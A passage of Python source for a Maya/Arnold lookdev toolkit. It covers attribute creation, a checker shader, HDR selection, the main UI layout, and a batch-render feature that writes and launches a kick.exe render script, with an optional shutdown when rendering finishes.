cmds.optionMenu(\"constData\", value=True, query=True)\n\n if len(shapeSel) == 0:\n cmds.warning(\"Please select object\")\n return\n\n if len(attName) == 0:\n cmds.warning(\"Please type the attribute name in the text field\")\n return\n\n for each in shape:\n if cmds.attributeQuery(('mtoa_constant_{}').format(attName), node=each, exists=True) == True:\n cmds.deleteAttr(each, attribute=('mtoa_constant_{}').format(attName))\n if attType == \"vector\":\n cmds.addAttr(each, ln=(\"mtoa_constant_{}\").format(attName), at=\"double3\")\n cmds.addAttr(each, ln=(\"mtoa_constant_{}\" + \"X\").format(attName),\n at=\"double\", p=(\"mtoa_constant_{}\").format(attName))\n cmds.addAttr(each, ln=(\"mtoa_constant_{}\" + \"Y\").format(attName),\n at=\"double\", p=(\"mtoa_constant_{}\").format(attName))\n cmds.addAttr(each, ln=(\"mtoa_constant_{}\" + \"Z\").format(attName),\n at=\"double\", p=(\"mtoa_constant_{}\").format(attName))\n cmds.setAttr(each + (\".mtoa_constant_{}\").format(attName), 0, 0, 0, typ='double3')\n cmds.setAttr(each + (\".mtoa_constant_{}\").format(attName), k=True)\n cmds.setAttr(each + (\".mtoa_constant_{}\" + \"X\").format(attName), k=True)\n cmds.setAttr(each + (\".mtoa_constant_{}\" + \"Y\").format(attName), k=True)\n cmds.setAttr(each + (\".mtoa_constant_{}\" + \"Z\").format(attName), k=True)\n\n if attType == \"float\":\n if cmds.attributeQuery(('mtoa_constant_{}').format(attName), node=each, exists=True) == True:\n cmds.deleteAttr(each, attribute=('mtoa_constant_{}').format(attName))\n cmds.addAttr(each, ln=(\"mtoa_constant_{}\").format(attName), dv=0, at=\"double\")\n cmds.setAttr(each + (\".mtoa_constant_{}\").format(attName), k=True)\n\n if attType == \"string\":\n if cmds.attributeQuery(('mtoa_constant_{}').format(attName), node=each, exists=True) == True:\n cmds.deleteAttr(each, attribute=('mtoa_constant_{}').format(attName))\n cmds.addAttr(each, ln=(\"mtoa_constant_{}\").format(attName), dt=\"string\")\n cmds.setAttr(each + (\".mtoa_constant_{}\").format(attName), k=True)\n\n\ndef checker(*args):\n if cmds.namespace(exists='dk_chck:') == True:\n cmds.warning('Checker shader is already loaded')\n else:\n cmds.namespace(add='dk_chck')\n cmds.namespace(set='dk_chck:')\n chckBase = cmds.shadingNode('aiStandardSurface', asShader=True)\n chckShader = cmds.rename(chckBase, 'aiCheckerShader')\n chckImage = core.createArnoldNode('aiImage', name='checkerTexture')\n checker_tex = (TEX_FOLDER + '/' + 'checker.jpg')\n cmds.setAttr(chckImage + '.filename', checker_tex, type=\"string\")\n if check_cm_config() == True:\n cmds.setAttr(chckImage + '.colorSpace', 'Utility - sRGB - Texture', type='string')\n if check_cm_config() == False:\n cmds.setAttr(chckImage + '.colorSpace', 'sRGB', type='string')\n cmds.setAttr(chckImage + '.colorSpace', 'sRGB', type='string')\n cmds.setAttr(chckImage + '.autoTx', 0)\n cmds.setAttr(chckImage + '.sscale', 3)\n cmds.setAttr(chckImage + '.tscale', 3)\n cmds.setAttr(chckImage + '.ignoreColorSpaceFileRules', 1)\n cmds.connectAttr(chckImage + '.outColor', chckShader + '.baseColor', force=True)\n cmds.namespace(set=':')\n cmds.select(clear=True)\n\n\ndef remove_checker(*args):\n cmds.namespace(set=':')\n if cmds.namespace(exists=':dk_chck') == False:\n cmds.warning('Nothing to remove')\n if cmds.namespace(exists=':dk_chck') == True:\n cmds.namespace(removeNamespace=':dk_chck', deleteNamespaceContent=True)\n\n\ndef start_fr(*args):\n try:\n start_val = cmds.optionMenu(\"chck_1001\", query=True, select=True)\n cmds.setAttr(\"dk_Ldv:aiSkydomeShape.start\", start_val, type=\"string\")\n except:\n pass\n\n\n# UI\ndef select_all_hdrs(*args):\n hdrs = hdr_list()[1]\n hdr_num = cmds.intSliderGrp('hdrSw', query=True, value=True)\n index_list = []\n for idx, each in enumerate(hdrs):\n index_list.append(idx)\n cmds.symbolCheckBox(\"chck_\" + str(idx).zfill(2), edit=True, value=1)\n\n\ndef deselect_all_hdrs(*args):\n hdrs = hdr_list()[1]\n hdr_num = cmds.intSliderGrp('hdrSw', query=True, value=True)\n index_list = []\n for idx, each in enumerate(hdrs):\n index_list.append(idx)\n cmds.symbolCheckBox(\"chck_\" + str(idx).zfill(2), edit=True, value=0)\n cmds.symbolCheckBox(\"chck_\" + str(index_list[hdr_num-1]).zfill(2), edit=True, value=1)\n\n\ndef hdr_list(*args):\n tx_list = []\n hdrs_list = []\n mini_list = []\n desel_list = []\n files = glob.glob((\"{}/*\").format(HDR_FOLDER))\n for hdr in files:\n if hdr.endswith(\".hdr\") or hdr.endswith(\".exr\"):\n hdrs_list.append(os.path.split(hdr)[1])\n if hdr.endswith(\".tx\"):\n tx_list.append(os.path.split(hdr)[1])\n\n mini_path = glob.glob((\"{}/*.jpg\").format(MINI_HDR_FOLDER))\n for each in mini_path:\n mini_list.append(os.path.split(each)[1])\n\n desel_path = glob.glob(\n (\"{}/*.jpg\").format(os.path.join(MINI_HDR_FOLDER, \"mini_desel\").replace(\"\\\\\", \"/\")))\n for each in desel_path:\n desel_list.append(os.path.split(each)[1])\n\n return (tx_list, mini_list, hdrs_list, desel_list)\n\n\ndef find_project(*args):\n proj_path = cmds.workspace(q=True, rootDirectory=True)\n return proj_path\n\n\ndef browse_batch(*args):\n proj = find_project()\n out_path = cmds.fileDialog2(caption=(\"Lookdev kit {} - Choose output folder\").format(LDV_VER), okCaption=\"Select Folder\",dialogStyle=2, startingDirectory=proj, fileMode=3)\n try:\n cmds.textFieldGrp(\"rdr_path\", edit=True, text=out_path[0])\n except:\n pass\n\n\ndef create_folders(paths):\n if not os.path.exists(paths):\n os.makedirs(paths)\n\n\ndef batch(*args):\n out_path = cmds.textFieldGrp(\"rdr_path\", query=True, text=True)\n if len(out_path) == 0:\n cmds.confirmDialog(title=(\"Lookdev Kit {} - Batch\").format(LDV_VER), message=\"Please, choose an output path.\",messageAlign=\"center\", button=\"Ok\", defaultButton=\"Ok\", icon=\"warning\")\n return\n out_rdr = os.path.join(out_path, \"rdr_temp\").replace(\"\\\\\", \"/\")\n ass_path = os.path.join(out_path, \"ass_temp\").replace(\"\\\\\", \"/\")\n py_path = os.path.join(out_path, \"py_temp\").replace(\"\\\\\", \"/\")\n scene_query = cmds.file(query=True, sceneName=True, shortName=True)\n scene_n, ext = os.path.splitext(scene_query)\n batch_mode = cmds.optionMenu(\"batch_mode\", query=True, value=True)\n\n if len(scene_n) == 0:\n scene_name = \"lookdev_test\"\n if len(scene_n) != 0:\n scene_name = scene_n\n\n if batch_mode == \"Single Frame\":\n timeMin = 1\n timeMax = 1\n\n if batch_mode == \"Turntable\":\n if cmds.namespace(exists='dk_turn') == False:\n cmds.confirmDialog(title=(\"Lookdev Kit {} - Batch\").format(LDV_VER), message=\"Please, run a Setup Turntable command.\",messageAlign=\"center\", button=\"Ok\", defaultButton=\"Ok\", icon=\"warning\")\n return\n else:\n timeMin = cmds.playbackOptions(minTime=True, query=True)\n timeMax = cmds.playbackOptions(maxTime=True, query=True)\n\n path = [ass_path, py_path]\n\n maya_path = os.path.join(os.environ[\"MAYA_LOCATION\"], \"bin\")\n mayapy_path = os.path.join(maya_path, \"mayapy.exe\").replace(\"\\\\\", \"/\")\n py_scr = os.path.join(py_path, \"rdr.py\").replace(\"\\\\\", \"/\")\n\n try:\n ass_del = cmds.getFileList(folder=ass_path, filespec=\"*.ass\")\n for each in ass_del:\n delpath = os.path.join(ass_path, each).replace(\"\\\\\", \"/\")\n os.remove(delpath)\n except:\n pass\n\n for each in path:\n create_folders(each)\n\n hdrs = hdr_list()[1]\n\n batch_hdr = []\n\n for idx, each in enumerate(hdrs):\n value = cmds.symbolCheckBox(\"chck_\" + str(idx).zfill(2), query=True, value=True)\n if value is True:\n batch_hdr.append(each[:-4])\n\n if len(batch_hdr) == 0:\n cmds.confirmDialog(title=(\"Lookdev Kit {} - Batch\").format(LDV_VER), message=\"Please, first select at least one HDR.\",\n messageAlign=\"center\", button=\"Ok\", defaultButton=\"Ok\", icon=\"warning\")\n return\n else:\n for each in batch_hdr:\n hdr_name = each\n hdr_ext = each + \".tx\"\n hdr_path = os.path.join(HDR_FOLDER, hdr_ext).replace(\"\\\\\", \"/\")\n cmds.setAttr(\"dk_Ldv:hdrTextures\" + \".fileTextureName\", hdr_path, type=\"string\")\n\n ass_exp = os.path.join(ass_path, scene_name + \"_\" +\n hdr_name + \".ass\").replace(\"\\\\\", \"/\")\n cmds.arnoldExportAss(filename=ass_exp, camera=\"dk_Ldv:cameraShape1\",\n lightLinks=True, shadowLinks=True, boundingBox=True, startFrame=timeMin, endFrame=timeMax, mask=6399)\n\n asses = cmds.getFileList(folder=ass_path, filespec=\"*.ass\")\n\n txt_write(asses)\n\n env = os.environ.copy()\n subprocess.Popen([mayapy_path, py_scr], shell=False, env=env)\n\n try:\n cmds.deleteUI(\"batchUI\")\n except:\n pass\n\n cmds.confirmDialog(title=\"Material Library - Batch\", message=\"You can now close maya and wait for render to finish.\",\n messageAlign=\"center\", button=\"Ok\", defaultButton=\"Ok\", icon=\"warning\")\n\n\ndef txt_write(assets):\n rdr_assets = assets\n shut_checkbox = cmds.checkBox(\"shut\",query=True, value=True)\n\n out_path = cmds.textFieldGrp(\"rdr_path\", query=True, text=True)\n out_rdr = os.path.join(out_path, \"rdr_temp\").replace(\"\\\\\", \"/\")\n py_path = os.path.join(out_path, \"py_temp\").replace(\"\\\\\", \"/\")\n py_file = os.path.join(py_path, \"rdr.py\").replace(\"\\\\\", \"/\")\n ass_path = os.path.join(out_path, \"ass_temp\").replace(\"\\\\\", \"/\")\n mtoa_plugin = cmds.pluginInfo(\"mtoa\", query=True, path=True)\n mtoa_root = os.path.dirname(os.path.dirname(mtoa_plugin))\n mtoa_bin = os.path.join(mtoa_root, \"bin\").replace(\"\\\\\", \"/\")\n mtoa_kick = os.path.join(mtoa_bin, \"kick.exe\").replace(\"\\\\\", \"/\")\n\n with open(py_file, \"w\") as the_file:\n the_file.write(\"import maya.standalone\\n\")\n with open(py_file, \"a\") as the_file:\n the_file.write(\"maya.standalone.initialize(name='python')\\n\")\n the_file.write(\"import os\\n\")\n the_file.write(\"import subprocess\\n\")\n the_file.write(\"import shutil\\n\")\n the_file.write(\"import maya.cmds as cmds\\n\\n\")\n\n the_file.write((\"KICK_PATH = \\'{}\\'\\n\").format(mtoa_kick))\n the_file.write((\"ASS_PATH= \\'{}\\'\\n\").format(ass_path))\n the_file.write((\"PY_PATH= \\'{}\\'\\n\").format(py_path))\n the_file.write((\"LDV_VER= \\'{}\\'\\n\").format(LDV_VER))\n the_file.write((\"RDR_PATH= \\'{}\\'\\n\\n\").format(out_path))\n\n the_file.write((\"rdr_names = {}\\n\\n\").format(rdr_assets))\n\n the_file.write((\"shut_chck= \\'{}\\'\\n\\n\").format(shut_checkbox))\n\n the_file.write(\"cur_frame = 0\\n\")\n\n the_file.write(\"for each in rdr_names:\\n\")\n\n the_file.write(\" num_fr = len(rdr_names)\\n\")\n the_file.write(\" percent = cur_frame*100/num_fr\\n\")\n\n the_file.write(\n \" os.system(('title Lookdev Kit {} Rendering - Progress: {}/{} - {}%').format(LDV_VER, cur_frame+1,num_fr, percent))\\n\")\n the_file.write(\" ass_path = os.path.join(ASS_PATH, each).replace('\\\\\\\\', '/')\\n\")\n the_file.write(\n \" outPath = os.path.join(RDR_PATH, each[:-4] + '.exr').replace('\\\\\\\\', '/')\\n\\n\")\n\n the_file.write(\n (\" kick_run = subprocess.Popen([\\'{}\\', '-i', ass_path, '-dp', '-dw', '-v', '2', '-o', outPath], shell=False, cwd = \\'{}\\')\\n\").format(mtoa_kick, mtoa_bin))\n the_file.write(\" kick_run.wait()\\n\\n\")\n\n the_file.write(\" cur_frame = cur_frame+1\\n\")\n\n the_file.write(\" try:\\n\")\n the_file.write(\" os.remove(ass_path)\\n\")\n the_file.write(\" except:\\n\")\n the_file.write(\" pass\\n\")\n\n the_file.write(\"try:\\n\")\n the_file.write(\" shutil.rmtree(PY_PATH)\\n\")\n the_file.write(\" shutil.rmtree(ASS_PATH)\\n\")\n the_file.write(\"except:\\n\")\n the_file.write(\" pass\\n\")\n the_file.write(\"path = os.path.realpath(RDR_PATH)\\n\")\n the_file.write(\"os.startfile(path)\\n\")\n\n the_file.write(\"maya.standalone.uninitialize()\\n\")\n\n the_file.write(\"if shut_chck == 'True':\\n\")\n the_file.write(\" os.system('shutdown -s -t 0')\\n\\n\")\n\n\ndef batch_choose(*args):\n if cmds.namespace(exists='dk_Ldv') == False:\n cmds.confirmDialog(title=(\"Lookdev Kit {} - Batch\").format(LDV_VER), message=\"Please, load Lookdev Kit.\",\n messageAlign=\"center\", button=\"Ok\", defaultButton=\"Ok\", icon=\"warning\")\n return\n else:\n\n win_id = \"batchUI\"\n win_width = 300\n win_height = 600\n row_height = 30\n win_title = (\"Lookdev kit {} - Batch\").format(LDV_VER)\n\n hdr_num = cmds.intSliderGrp('hdrSw', query=True, value=True)\n hdrs = hdr_list()[0]\n mini_file = hdr_list()[1]\n\n if cmds.window(win_id, exists=True):\n cmds.deleteUI(win_id)\n\n if cmds.windowPref(win_id, exists=True):\n cmds.windowPref(win_id, remove=True)\n\n view_width = int(viewport_resolution()[0]) * 0.75\n view_heigth = int(viewport_resolution()[1]) * 0.3\n\n b = cmds.window(win_id, title=win_title, resizeToFitChildren=True,\n topLeftCorner=[view_heigth, view_width])\n\n main_cl = cmds.rowColumnLayout(numberOfColumns=1, columnWidth=[\n (1, win_width*1.1), (2, win_width*0.75)], columnOffset=[1, \"left\", 30])\n\n cmds.text(label=\"Select HDRs:\", height=row_height)\n cmds.setParent(main_cl)\n\n cmds.scrollLayout(\"scroll_hdrs\", height=win_height*0.9, width=win_width*1)\n index_list = []\n for idx, each in enumerate(mini_file):\n index_list.append(idx)\n mini_path = os.path.join(MINI_HDR_FOLDER, each).replace(\"\\\\\", \"/\")\n mini_desel = os.path.join(MINI_HDR_FOLDER, \"mini_desel\", each).replace(\"\\\\\", \"/\")\n\n cmds.symbolCheckBox(\"chck_\" + str(idx).zfill(2), value=0, onImage=mini_path, offImage=mini_desel,width=250, height=125, parent=\"scroll_hdrs\")\n cmds.symbolCheckBox(\"chck_\" + str(index_list[hdr_num-1]).zfill(2), edit=True, value=1)\n\n cmds.setParent(main_cl)\n\n cmds.text(label=\"\", height=row_height*0.5)\n\n proj = find_project()\n img_path = os.path.join(proj, \"images\").replace(\"\\\\\", \"/\")\n\n cmds.rowLayout(numberOfColumns=2, columnWidth=[\n (1, win_width*0.7), (2, win_width*0.1)], columnAttach=[(1, \"left\", -90), (2, \"right\", 0)])\n cmds.textFieldGrp(\"rdr_path\", label=\"Output\", text=img_path)\n cmds.button(label=\"...\", width=win_width*0.1,\n annotation=\"Choose render output path. NOTE: By default it will choose images folder in your project path\", command=browse_batch)\n\n cmds.setParent(main_cl)\n\n cmds.text(label=\"\", height=row_height*0.5)\n\n cmds.rowLayout(numberOfColumns=1, columnWidth=[\n (1, win_width*0.8)], columnAttach=[(1, \"left\", 35)])\n cmds.optionMenu(\"batch_mode\", label=\"Render mode\", annotation=\"Choose rendering mode\")\n cmds.menuItem(label=\"Single Frame\", parent=\"batch_mode\")\n cmds.menuItem(label=\"Turntable\", parent=\"batch_mode\")\n cmds.setParent(main_cl)\n\n cmds.text(label=\"\", height=row_height*0.5)\n\n cmds.rowLayout(numberOfColumns=3, columnWidth=[(1, win_width*0.4), (2, win_width*0.3), (3, win_width*0.3)], columnAttach=[(1, \"left\", -15), (2, \"left\", -23), (3, \"left\", -10)])\n cmds.button(label=\"RENDER\", width=win_width*0.33,annotation=\"Batch render current scene with selected HDRs\", command=batch)\n cmds.checkBox(\"sel_all_hdr\", label=\"Select all HDRs\", recomputeSize=True, onCommand=select_all_hdrs, offCommand=deselect_all_hdrs)\n cmds.checkBox(\"shut\", label=\"Shutdown\", recomputeSize=True, value = 0)\n cmds.setParent(main_cl)\n\n cmds.text(label=\"\", height=row_height*0.5)\n\n cmds.showWindow(b)\n\n\ndef viewport_resolution(*args):\n focus_pane = cmds.getPanel(withFocus=True)\n viewport_width = cmds.control(focus_pane, query=True, width=True)\n viewport_height = cmds.control(focus_pane, query=True, height=True)\n return (viewport_width, viewport_height)\n\ndef shd_gen(*args):\n reload(dk_shd)\n dk_shd.buildUI()\n\n\ndef buildUI():\n try:\n core.createOptions()\n except:\n pass\n\n if cmds.namespace(exists='dk_Ldv') == True:\n ldv_vr = []\n try:\n ldv_vr = cmds.getAttr(\"dk_Ldv:aiSkydomeShape.ldv_ver\")\n except:\n pass\n try:\n if len(ldv_vr) == 0:\n removeLDV()\n\n elif float(ldv_vr) < float(LDV_VER):\n removeLDV()\n except:\n pass\n\n try:\n skyExpo = cmds.getAttr('dk_Ldv:aiSkydome.exposure')\n except:\n skyExpo = 0\n\n try:\n skyVis = cmds.getAttr('dk_Ldv:aiSkydome.camera')\n except:\n skyVis = 1\n\n try:\n skyOff = cmds.getAttr('dk_Ldv:aiSkydomeShape.rotOffset')\n except:\n skyOff = 0\n\n try:\n sensorSelect = cmds.getAttr(\"dk_Ldv:camera1.SensorCam\")\n except:\n sensorSelect = 1\n\n try:\n focalSelect = cmds.getAttr(\"dk_Ldv:camera1.FocalCam\")\n except:\n focalSelect = 5\n\n try:\n fStopSelect = cmds.getAttr(\"dk_Ldv:camera1.FstopCam\")\n except:\n fStopSelect = 2\n\n try:\n checkBoxVal = cmds.getAttr(\"dk_Ldv:shadowCatcher.shadowChckVis\")\n except:\n checkBoxVal = True\n\n try:\n checkBoxDoF = cmds.getAttr(\"dk_Ldv:camera1.DoF\")\n except:\n checkBoxDoF = False\n\n mini_file = hdr_list()[1]\n hdrtx = hdr_list()[0]\n\n if len(hdrtx) != 0:\n hdrslide = 1\n hdrCount = len(mini_file)\n else:\n hdrslide = 1\n hdrCount = 1\n\n if cmds.namespace(exists='dk_Ldv') == True and len(mini_file) != 0:\n hdrslide = cmds.getAttr('dk_Ldv:aiSkydomeShape.hdrsl')\n hdrCount = len(mini_file)\n\n if len(mini_file) != 0:\n mini_int_file = os.path.join(MINI_HDR_FOLDER, mini_file[0]).replace(\"\\\\\", \"/\")\n else:\n mini_int_file = os.path.join(TEX_FOLDER, \"no_prev.jpg\").replace(\"\\\\\", \"/\")\n\n if cmds.namespace(exists='dk_Ldv') == True and len(mini_file) != 0:\n hdrswitch = int(cmds.getAttr('dk_Ldv:aiSkydomeShape.hdrsl'))-1\n mini_int_file = os.path.join(MINI_HDR_FOLDER, mini_file[hdrswitch]).replace(\"\\\\\", \"/\")\n\n try:\n objOff = cmds.getAttr('dk_turn:obj_tt_Offloc.objOffset')\n except:\n objOff = 0\n\n try:\n start = cmds.getAttr(\"dk_Ldv:aiSkydomeShape.start\")\n except:\n start = 1\n\n try:\n turn_fr = cmds.getAttr(\"dk_Ldv:aiSkydomeShape.turntable_fr\")\n\n except:\n turn_fr = \"25\"\n if cmds.namespace(exists='dk_turn') == True:\n trn_start = str(cmds.setAttr(\"dk_Ldv:aiSkydomeShape.start\"))\n if trn_start == \"1\":\n time_dd = 0\n turn_fr = int(cmds.playbackOptions(maxTime=True, query=True))-time_dd\n if trn_start == \"2\":\n time_dd = 1000\n turn_fr = int(cmds.playbackOptions(maxTime=True, query=True))-time_dd\n\n win_id = 'LdvUI'\n win_width = 350\n row_height = 30\n title = (\"Lookdev Kit {}\").format(LDV_VER)\n\n if cmds.window(win_id, exists=True):\n cmds.deleteUI(win_id)\n\n # if cmds.windowPref(win_id, exists=True):\n # cmds.windowPref(win_id, remove=True)\n\n try:\n cmds.deleteUI(\"batchUI\")\n except:\n pass\n\n try:\n cmds.deleteUI(\"shdUI\")\n except:\n pass\n\n view_width = int(viewport_resolution()[0]) * 1.01\n view_heigth = int(viewport_resolution()[1]) * 0.3\n\n w = cmds.window(win_id, title=title, resizeToFitChildren=True, width = win_width, topLeftCorner=[view_heigth, view_width])\n\n # Main layout refs\n mainCL = cmds.columnLayout()\n\n # Buttons - LDV kit\n tmpRowWidth = [win_width*0.5, win_width*0.5]\n cmds.rowLayout(numberOfColumns=2, columnWidth2=tmpRowWidth, height=row_height)\n cmds.button(label='Load LDV Kit',\n width=tmpRowWidth[0], annotation=\"Load Lookdev Kit\", command=LDVbutton)\n cmds.button(label='Remove LDV Kit',\n width=tmpRowWidth[1], annotation=\"Remove Lookdev Kit\", command=removeLDV)\n\n cmds.setParent(mainCL)\n\n # Buttons - MacBeth and spheres\n tmpRowWidth = [win_width*0.5, win_width*0.5]\n cmds.rowLayout(numberOfColumns=2, columnWidth2=tmpRowWidth)\n cmds.button(label='Load MAC',width=tmpRowWidth[0], annotation=\"Load Macbeth Chart, chrome and gray spheres\", command=Macbutton)\n cmds.button(label='Remove MAC',width=tmpRowWidth[0], annotation=\"Remove Macbeth chart and spheres\", command=removeMAC)\n cmds.setParent(mainCL)\n\n cmds.text(label='--- HDR Controls ---', width=win_width, height=row_height)\n\n # hdr switch\n tmpRowWidth = [win_width*0.2, win_width*0.2, win_width*0.5]\n\n cmds.rowLayout(numberOfColumns=1, adjustableColumn=True)\n cmds.intSliderGrp('hdrSw', label='HDR', columnWidth3=(tmpRowWidth), min=1, max=hdrCount, value=hdrslide,\n step=1, fieldMinValue=0, fieldMaxValue=10, field=True, changeCommand=hdrSw, dragCommand=hdrSw)\n cmds.setParent(mainCL)\n\n # image\n tmpRowWidth = [win_width*0.84, win_width*0.08]\n cmds.rowLayout(numberOfColumns=1, columnOffset1=tmpRowWidth[1], columnAttach1=\"both\")\n cmds.image(\"hdrSym\", image=mini_int_file, width=tmpRowWidth[0])\n cmds.setParent(mainCL)\n\n # Skydome Exposure\n tmpRowWidth = [win_width*0.3, win_width*0.15, win_width*0.45]\n cmds.rowLayout(numberOfColumns=1, adjustableColumn=True)\n cmds.floatSliderGrp('exp', label='Exposure', columnWidth3=(tmpRowWidth), min=-10, max=10, value=skyExpo, step=0.001,\n fieldMinValue=-100, fieldMaxValue=100, field=True, changeCommand=exposure_slider, dragCommand=exposure_slider)\n cmds.setParent(mainCL)\n\n # Skydome Rotation offset\n cmds.rowLayout(numberOfColumns=1, adjustableColumn=True)\n cmds.floatSliderGrp('rotOff', label='Rot. Offset', columnWidth3=(tmpRowWidth), min=0, max=360, value=skyOff,\n step=0.001, fieldMinValue=0, fieldMaxValue=360, field=True, changeCommand=rotOffset, dragCommand=rotOffset)\n cmds.setParent(mainCL)\n\n # Skydome camera visibility\n cmds.rowLayout(numberOfColumns=1, adjustableColumn=True)\n cmds.floatSliderGrp('sky_vis', label='Sky Vis.', min=0, max=1, value=skyVis, step=0.001,field=True, columnWidth3=(tmpRowWidth), changeCommand=sky_vis, dragCommand=sky_vis)\n cmds.setParent(mainCL)\n\n tmpRowWidth = [win_width*0.4, win_width*0.18, win_width*0.4]\n cmds.rowLayout(numberOfColumns=3)\n\n cmds.optionMenu('focal', label=' Focal Length',width=tmpRowWidth[0], annotation=\"Choose lens focal length\", changeCommand=focal)\n cmds.menuItem(label='14mm', parent='focal')\n cmds.menuItem(label='18mm', parent='focal')\n cmds.menuItem(label='24mm', parent='focal')\n cmds.menuItem(label='35mm', parent='focal')\n cmds.menuItem(label='50mm', parent='focal')\n cmds.menuItem(label='70mm', parent='focal')\n cmds.menuItem(label='90mm', parent='focal')\n cmds.menuItem(label='105mm', parent='focal')\n cmds.menuItem(label='135mm', parent='focal')\n cmds.menuItem(label='200mm', parent='focal')\n cmds.menuItem(label='270mm', parent='focal')\n cmds.optionMenu('focal', edit=True, select=focalSelect)\n\n cmds.optionMenu('fstop', label=' f/',\n width=tmpRowWidth[1], annotation=\"Choose lens aperture\", changeCommand=fstop)\n cmds.menuItem(label='1.4', parent='fstop')\n cmds.menuItem(label='2', parent='fstop')\n cmds.menuItem(label='2.8', parent='fstop')\n cmds.menuItem(label='4', parent='fstop')\n cmds.menuItem(label='5.6', parent='fstop')\n cmds.menuItem(label='8', parent='fstop')\n cmds.menuItem(label='11', parent='fstop')\n cmds.menuItem(label='16', parent='fstop')\n cmds.optionMenu('fstop', edit=True, select=fStopSelect)\n\n cmds.optionMenu('sensor', label=' Sensor',\n width=tmpRowWidth[2], annotation=\"Choose sensor size\", changeCommand=sensor)\n cmds.menuItem(label='Full Frame', parent='sensor')\n cmds.menuItem(label='APS-C', parent='sensor')\n cmds.menuItem(label='Micro 4/3', parent='sensor')\n cmds.optionMenu('sensor', edit=True, select=sensorSelect)\n\n cmds.setParent(mainCL)\n\n # Checkboxes\n cmds.rowColumnLayout(numberOfColumns=2, columnOffset=[1, \"both\", 70])\n cmds.checkBox(\"shMatte\", label=\"Shadow Matte\", value=checkBoxVal, recomputeSize=True, onCommand=shadowChckOn, offCommand=shadowChckOff)\n cmds.checkBox(\"camDoF\", label=\"DoF\", value=checkBoxDoF, recomputeSize=True, onCommand=DoFOn, offCommand=DoFOff)\n cmds.setParent(mainCL)\n\n # refresh HDRs\n tmpRowWidth = [win_width*0.5, win_width*0.5]\n cmds.rowLayout(numberOfColumns=2, columnWidth2=tmpRowWidth)\n cmds.button(label='Refresh HDRs',width=tmpRowWidth[0], annotation=\"Recreate .jpg preview images and .tx files from existing HDRs\", command=refHDR)\n cmds.button(label='Open HDR folder',width=tmpRowWidth[1], annotation=\"Open folder with HDR files\", command=hdrFol)\n cmds.setParent(mainCL)\n\n tmpRowWidth = [win_width*0.5, win_width*0.5]\n cmds.rowLayout(numberOfColumns=2, columnWidth2=tmpRowWidth)\n cmds.button(label='Del Tx/jpg',width=tmpRowWidth[1], annotation=\"Delete .jpg preview images and .tx files\", command=deletePrevTx)\n cmds.button(label=\"Batch\",width=tmpRowWidth[1], annotation=\"Run a batch rendering UI\", command=batch_choose)\n cmds.setParent(mainCL)\n\n # Auto Turntable\n\n cmds.text(label='--- Turntable ---', width=win_width, height=row_height)\n tmpRowWidth = [win_width*0.33, win_width*0.34, win_width*0.33]\n cmds.rowLayout(numberOfColumns=3)\n cmds.optionMenu('autott', label='Length', width=tmpRowWidth[0], changeCommand=turntable_frame)\n cmds.menuItem(label='25')\n cmds.menuItem(label='50')\n cmds.menuItem(label='100')\n cmds.menuItem(label='200')\n cmds.optionMenu(\"autott\", edit=True, value=str(turn_fr))\n cmds.button(label='Setup Turntable',width=tmpRowWidth[1], annotation=\"Create a turntable setup based on the selected objects and chosen number of frames. NOTE: Turntable won't be applied on the LDV kit objects.\", command=turntableButton)\n cmds.button(label='Remove Turntable',width=tmpRowWidth[2], annotation=\"Remove turntable setup\", command=removeTurntable)\n cmds.setParent(mainCL)\n\n cmds.rowColumnLayout(numberOfColumns=1, columnOffset=[1, \"both\", 8])\n cmds.optionMenu(\"chck_1001\", label=\" Start\", width=tmpRowWidth[0]-8, changeCommand=start_fr)\n cmds.menuItem(label=\"1\")\n cmds.menuItem(label=\"1001\")\n cmds.optionMenu(\"chck_1001\", edit=True, select=int(start))\n cmds.setParent(mainCL)\n\n # Object Rotation offset\n tmpRowWidth = [win_width*0.3, win_width*0.15, win_width*0.45]\n cmds.rowLayout(numberOfColumns=1, adjustableColumn=True)\n cmds.floatSliderGrp('objOff', label='Obj. Rot. Offset', columnWidth3=(tmpRowWidth), min=0, max=360, value=objOff,step=0.001, fieldMinValue=0, fieldMaxValue=360, field=True, changeCommand=objOffset, dragCommand=objOffset)\n cmds.setParent(mainCL)\n\n # SUBD CONTROLS\n\n cmds.text(label='--- SubD Settings ---', width=win_width, height=row_height)\n\n tmpRowWidth = [win_width*0.25, win_width*0.25, win_width*0.48]\n cmds.rowLayout(numberOfColumns=3, columnWidth3=tmpRowWidth)\n cmds.button(label='SubD Off',width=tmpRowWidth[0], annotation=\"Turn off render-time subdivisions on the selected objects\", command=subd_off)\n cmds.button(label='SubD On',width=tmpRowWidth[1], annotation=\"Turn on render-time subdivisions on the selected objects\", command=catclark_on)\n cmds.intSliderGrp('subIter', minValue=0, maxValue=10, value=3, step=1,field=True, width=tmpRowWidth[2], changeCommand=subd_iter)\n cmds.setParent(mainCL)\n\n # BUCKET SIZE\n\n cmds.text(label='--- Bucket Size ---', width=win_width, height=row_height)\n\n cmds.rowLayout(numberOfColumns=4, columnWidth=[4, win_width*0.25])\n cmds.button(label='16', width=win_width*0.25,annotation=\"Sets bucket size to 16\", command=bucket_size16)\n cmds.button(label='32', width=win_width*0.25,annotation=\"Sets bucket size to 32\", command=bucket_size32)\n cmds.button(label='64', width=win_width*0.25,annotation=\"Sets bucket size to 64\", command=bucket_size64)\n cmds.button(label='128', width=win_width*0.25,annotation=\"Sets bucket size to 128\", command=bucket_size128)\n cmds.setParent(mainCL)\n\n # UTILITIES\n\n cmds.text(label='--- MtoA Constants ---', width=win_width, height=row_height)\n\n tmpRowWidth = [win_width*0.34, win_width*0.33, win_width*0.33]\n cmds.rowLayout(numberOfColumns=3)\n cmds.textField(\"constField\", annotation=\"Type in a name of the attribute\",text=\"\", width=tmpRowWidth[0])\n cmds.optionMenu(\"constData\", width=tmpRowWidth[1])\n cmds.menuItem(label=\"vector\")\n cmds.menuItem(label=\"float\")\n cmds.menuItem(label=\"string\")\n cmds.button(label=\"Create\",width=tmpRowWidth[2], annotation=\"Creates MtoA Constant Attribute on the selected objects with name from the text field and data dype from drop down menu\", command=mtoa_constant)\n cmds.setParent(mainCL)\n\n cmds.text(label='--- Utilities ---', width=win_width, height=row_height)\n\n # checker shader\n tmpRowWidth = [win_width*0.349, win_width*0.2]\n cmds.rowLayout(numberOfColumns=4)\n cmds.button(label='Load Checker Shd',width=tmpRowWidth[0], annotation=\"Load shader with checker texture - useful for checking UVs\", command=checker)\n cmds.button(label='Remove Checker Shd',width=tmpRowWidth[0], annotation=\"Remove shader with checker texture\", command=remove_checker)\n 